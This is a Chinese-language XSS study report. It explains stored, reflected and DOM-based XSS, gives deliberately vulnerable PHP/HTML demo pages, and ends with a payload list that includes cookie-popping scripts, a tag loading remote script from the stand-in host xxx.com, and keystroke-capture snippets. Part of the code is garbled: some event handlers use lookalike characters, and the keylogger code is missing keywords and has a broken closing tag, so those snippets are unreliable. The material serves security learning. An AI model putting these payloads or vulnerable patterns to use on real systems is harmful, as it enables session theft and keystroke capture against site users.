任务标题:web安全之XSS漏洞学习实战
1、编写一个存在 xss 漏洞的页面
2、利用 xss 漏洞获取当前用户 cookie
3、思考,利用 xss 漏洞能干嘛(参考 beef)
报告要求:记录编写的页面代码、操作流程、思考总结
扩展学习:学习如何防御 xss、总结防御策略加到报告里
学习报告
0x01 XSS简介
XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。主要有三种类型:存储型XSS、反射型XSS也叫做非持久性
、Dom型XSS。
1. 存储型XSS
攻击流程
存储型XSS又称为持久型XSS,攻击者将XSS代码发送给了服务器,而服务器没有对这些代码做任何处理就直接存储在了数据库中,当下一个用户访问网站时直接从数据库调用出来传给前端,浏览器解析XSS代码就造成了XSS攻击。常见的攻击点在个人信息、发表文章、留言板等地方。
流程图如下:
通过流程图可以很容易知道存储型XSS的常用攻击流程为:攻击者前端插入恶意XSS代码—>后端不做处理传入数据库—>别的用户访问页面—>后端从数据库中调用XSS代码—>前端渲染(执行js脚本)恶意代码实现攻击。
实例代码
<html><head> <title>留言板</title> </head> <body> <h2>存储型XSS测试<h2> <br> <form action="test.php" method="post"> 请输入你要留言的内容:<textarea id='Mid' name="desc"></textarea> <br> <br> 请输入你的ID:<input type="text" name="user"/><br> <br> <input type="submit" value="提交" onclick='loction="test.php"'/> </form> <?php if(isset($_POST['user'])&&isset($_POST['desc'])){ $log=fopen("store.txt","a"); fwrite($log,$_POST['user']."\r\n"); fwrite($log,$_POST['desc']."\r\n"); fclose($log);} if(file_exists("store.txt")){ $read=fopen("store.txt",'r'); while(!feof($read)){ echo fgets($read)."</br>"; } fclose($read); } ?> </body></html> |
访问搭建好的测试代码,这里的store.txt文件模拟为后端数据库。
在留言内容中插入<script>alert("hack")</script>
,然后提交。已经将数据写入的到数据库(store.txt)中了,现在每次访问这个页面都会弹窗。
看一下网页源代码,可以看到之前测试插入的代码从数据库中抽出来了,这里有四个的原因是因为我重复刷新了四次作为测试。
在实际的渗透测试过程中我们要注意传递带有""
可能会导致闭合sql语句引起程序错误,所有在测试语句中需要转义一下<script>alert(\'hack\')</script>
或者<script>alert(/hack/)</script>
2. 反射性XSS
攻击流程
反射型XSS非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,在发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。这类攻击手段大多数是用来盗取用户的Cookie信息。
流程图如下:
通过流程图可以很容易知道存储型XSS的常用攻击流程为:攻击者构造带有恶意XSS代码的URL—>别的用户访问这个URL—>恶意代码被服务器解析—>传递给前端渲染实现攻击。
实例代码
<html> <head> <title>XSS_test</title> <meta http-equiv="content-type" content="txt/html; charset=utf-8" /> </head> <body> <h2>反射型XSS测试<h2> <br> <?php $age = $_GET['age']; echo "<h1>我的年龄是".$age."</h1>"; ?> </body></html> |
这个代码的意思很简单,就是读取一个age的值并将它打印到屏幕上,当我们精心构造特殊值的时候就可以引起反射型XSS攻击,比如这个实例中,我们将age赋值为<script>alert("hack")</script>
,然后再将整个链接发送给被攻击者,通过社工等手段引诱被攻击者点击这个链接就可以实现XSS攻击。
看一下网页源代码,发现插入进去的js脚本被完完全全的执行了。
3. Dom型XSS
攻击流程
DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,并不经过后端,DOM型XSS总的来说危害较小,一般也归属于反射型XSS的一种。
常见的流程是JS代码通过获取页面referer来构造一个img节点来,然后加入到页面DOM树来实现发起一个GET请求,从而实现一个统计访问来源的目的这样一个功能,那么我们就可以通过构造一个网址中带有攻击代码的页面,通过A链接访问存在XSS的目标页面,于是乎当页面的JS在构造那样一个img节点的时候就将带有Payload的代码的来源地址直接构造到页面,于是就导致了DOM 型XSS的产生。
可能触发DOM型XSS的属性
document.referer、window.name、location、innerHTML、documen.write
关于Dom的解释:https://blog.csdn.net/qq_36119192/article/details/82933873
通过上面的解释可以很容易知道Dom型XSS的常用攻击流程为:攻击者前端插入恶意XSS代码—>前端渲染(执行js脚本)恶意代码实现攻击。
实例代码
<html> <head> <meta charset="UTF-8"> <title>XSS_test</title> </head> <body> <h2>DOM型XSS测试<h2> <form action="test.php" method="post"> <input type="text" name="name" /> <input type="submit" value="提交" onclick='loction="test.php"'> </form> </body> </html> <?php $name=$_POST["name"]; ?> <input id="text" type="text" value="<?php echo $name; ?>"/> <div id="print"></div> <script type="text/javascript"> var text=document.getElementById("text"); var print=document.getElementById("print"); print.innerHTML=text.value; </script> |
发送我们的<img src=1 onerror=alert('hack')>
,操作标签来执行js。
通过上面的流程我们知道了Dom型与其余两种XSS情形的主要区别在于直接插入js代码没有回显,Dom没有页面回显(不会被执行),我们要利用DOM的特性来操作插入标签这样就js代码就会被执行,如上文演示的源码,我们利用innerHTML属性插入了一个img标签,再利用标签引起了js的执行。
4.常用的攻击载荷
<script>标签
“><script>alert('xss')</script> <script>alert("hack")</script> #弹出hack <script>alert(/hack/)</script> #弹出hack <script>alert(1)</script> #弹出1,对于数字可以不用引号 <script>alert(document.cookie)</script> #弹出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss
<svg>标签
<svg onload="alert(1)"> <svg onload="alert(1)"//
<img>标签
<img src=1 οnerrοr=alert("hack")> <img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
<body>标签
<body οnlοad=alert(1)> <body οnpageshοw=alert(1)>
video标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
style标签
<style οnlοad=alert(1)></style>
监听键盘onkeydown事件
.onkeydown={ (!e)e=.event; (hijack();)(ex){} }
捕获用户输入的特定键
<script> { keycode = event.keyCode; realkey = .fromCharCode(event.keyCode); alert( + keycode + + realkey); } .onkeydown = keyDown; </scrip>